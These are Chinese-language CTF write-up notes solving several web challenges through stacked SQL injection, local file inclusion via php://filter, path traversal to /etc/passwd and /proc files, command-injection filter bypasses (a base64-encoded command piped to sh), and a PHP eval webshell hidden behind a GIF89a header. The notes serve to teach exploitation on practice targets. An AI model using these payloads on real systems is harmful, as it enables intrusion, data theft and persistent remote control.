强网杯-随便注

知识点:堆叠注入的使用条件十分有限,其可能受到API或者数据库引擎,又或者权限的限制只有当调用数据库函数支持执行多条sql语句时才能够使用,利用mysqlimulti_query()函数就支持多条sql语句同时执行,但实际情况中,如PHP为了防止sql注入机制,往往使用调用数据库的函数是mysqli query()函数,其只能执行一条语句,分号后面的内容将不会被执行,所以可以说堆叠注入的使用条件十分有限,一旦能够被使用,将可能对网站造成十分大的威胁。

?inject=1' order by 2--+

得到字段数为2列

?inject=1' ;show databases;--+

得到数据库名称

?inject=1' ;show columns from1919810931114514;--+

表名处用反引号包裹或者用16进制代替

  1. linux下不区分,windows下区分
  2. 区别:
  3. 单引号( ' )或双引号主要用于字符串的引用符号
  4. egmysql> SELECT 'hello', "hello" ;
  5. 反勾号( ` )主要用于数据库、表、索引、列和别名用的引用符是[Esc下面的键]
  6. eg:`mysql>SELECT * FROM `table` WHERE `from` = 'abc' ;

①先把words表改为word1

②再利用rename将1919810931114514这个表修改为word

③再将flag字段修改成id

构造payload:

  1. 1';RENAME TABLE `words` TO `words1`;RENAME TABLE `1919810931114514` TO `words`;ALTER TABLE `words` CHANGE `flag` `id` VARCHAR(100) CHARACTER SET utf8 COLLATE utf8_general_ci NOT NULL;show columns from words;#

1‘or 1=1—+

[ACTF2020 新生赛]Include

知识点

(LFI / RFI)https://www.jianshu.com/p/8803aff98bfa

三种方式获取源码

data,file,phpinput

  1. index.php?file=php://filter/read=convert.base64-encode/resource=index.php

[SUCTF 2019]EasySQL

知识点:堆叠注入,select * from xxx 是返回所有行列,判断注入语句

字典fuzz有过滤

网站语言为php,数据库大概为mysql

经过测试为堆叠注入,闭合方式为数字型

query=1;show databases;--+

  1. Array
  2. (
  3. [0] => 1
  4. )
  5. Array
  6. (
  7. [0] => ctf
  8. )
  9. Array
  10. (
  11. [0] => ctftraining
  12. )
  13. Array
  14. (
  15. [0] => information_schema
  16. )
  17. Array
  18. (
  19. [0] => mysql
  20. )
  21. Array
  22. (
  23. [0] => performance_schema
  24. )
  25. Array
  26. (
  27. [0] => test
  28. )

query=1;select database();--+

  1. Array
  2. (
  3. [0] => 1
  4. )
  5. Array
  6. (
  7. [0] => ctf
  8. )

解法1
输入的内容为,1
内置的sql语句为s q l = “ s e l e c t “ . sql = “select “.
sql=”select”.post[‘query’].”||flag from Flag”;
如果$post[‘query’]的数据为,1,sql语句就变成了select ,1||flag from Flag,也就是select *,1 from Flag,也就是直接查询出了Flag表中的所有内容

解法2
输入的内容为1;set sql_mode=pipes_as_concat;select 1
其中set sql_mode=pipes_as_concat;的作用为将||的作用由or变为拼接字符串,这是我在本地做的测试,我们执行的语句分别为select 1和set sql_mode=pipes_as_concat和select 1||flag from Flag,读出flag

[GXYCTF2019]Ping Ping Ping

知识点:

命令执行绕过空格

  1. ${IFS}替换
  2. $IFS$1替换
  3. ${IFS替换
  4. %20替换
  5. <和<>重定向符替换
  6. %09替换

| 直接执行后面的语句

|| 前面命令是错的,则执行后面的

& 前面和后面的都要执行无论真假

绕过关键字

1.base64编码

如题目一样就是用base64进行编码,再用命令进行解读。从而达到执行。
这里用的是sh,sh的大部分脚本都可以在bash下运行
附上大佬的payload

前边Y2F0IGZsYWcucGhw是cat flag.php的base64编码.在用base64 -d命令进行执行
这里边的|是管道符。去查了一下总结一下

2.单引号、双引号绕过

可以使用这种方法去绕过有时候的cat 和flag 但在本题单双引号被ban了

3.反斜线绕过

本题中反斜线也被ban了

4.$1、$2等和 $@绕过

*

如果cat被过滤,可以用下边的方法进行绕过~~

?ip=127.0.0.1|cat$IFSls

把反引号命令输入作为输出

  1. echo$IFS$1Y2F0IGZsYWcucGhw|base64$IFS$1-d|sh
  1. ca't fl''ag
  1. ca\t fl\ag
  1. c$1at gh$@twf01.txt
  1. <?php
  2. $flag = "flag{06e90d18-5a5f-48ab-a3f3-5487af8da804}";
  3. ?>
  4. /?ip=
  5. <?php
  6. if(isset($_GET['ip'])){
  7. $ip = $_GET['ip'];
  8. if(preg_match("/\&|\/|\?|\*|\<|[\x{00}-\x{1f}]|\>|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match)){
  9. echo preg_match("/\&|\/|\?|\*|\<|[\x{00}-\x{20}]|\>|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match);
  10. die("fxck your symbol!");
  11. } else if(preg_match("/ /", $ip)){
  12. die("fxck your space!");
  13. } else if(preg_match("/bash/", $ip)){
  14. die("fxck your bash!");
  15. } else if(preg_match("/.*f.*l.*a.*g.*/", $ip)){
  16. die("fxck your flag!");
  17. }
  18. $a = shell_exec("ping -c 4 ".$ip);
  19. echo "
  20. <pre>";
  21. print_r($a);
  22. }
  23. ?>

N1book

知识点:

文件包含加flask伪造

buu - 图1

article?name=../../../etc/passwd

  1. /proc/sched_debug # 提供cpu上正在运行的进程信息,可以获得进程的pid号,可以配合后面需要pid的利用
  2. /proc/mounts # 挂载的文件系统列表
  3. /proc/net/arp # arp表,可以获得内网其他机器的地址
  4. /proc/net/route # 路由表信息
  5. /proc/net/tcp and /proc/net/udp # 活动连接的信息
  6. /proc/net/fib_trie # 路由缓存
  7. /proc/version # 内核版本
  8. /proc/[PID]/cmdline # 可能包含有用的路径信息
  9. /proc/[PID]/environ # 程序运行的环境变量信息,可以用来包含getshell
  10. /proc/[PID]/cwd # 当前进程的工作目录
  11. /proc/[PID]/fd/[#] # 访问file descriptors,某写情况可以读取到进程正在使用的文件,比如access.log

[极客大挑战 2019]Upload

文件上传知识点: 绕过<? 检测,修改文件名称 phtml,文件头格式

  1. GIF89a
  2. <script language="php">
  3. eval($_POST['shell']);
  4. </script>

[RoarCTF 2019]Easy Calc

加空格,我也不造为啥

%20num=show_source(chr(47).chr(102).chr(49).chr(97).chr(103).chr(103))

[ACTF2020 新生赛]Upload

知识点:f12 CTRL+shift+P禁用js